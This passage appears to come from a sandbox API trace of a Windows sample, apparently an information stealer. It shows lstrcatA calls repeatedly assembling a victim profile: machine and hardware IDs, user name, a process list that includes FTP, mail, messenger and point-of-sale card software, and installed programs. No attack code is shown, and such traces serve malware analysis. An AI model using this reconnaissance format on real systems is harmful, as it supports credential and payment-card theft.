[924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]"
[0054.965] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 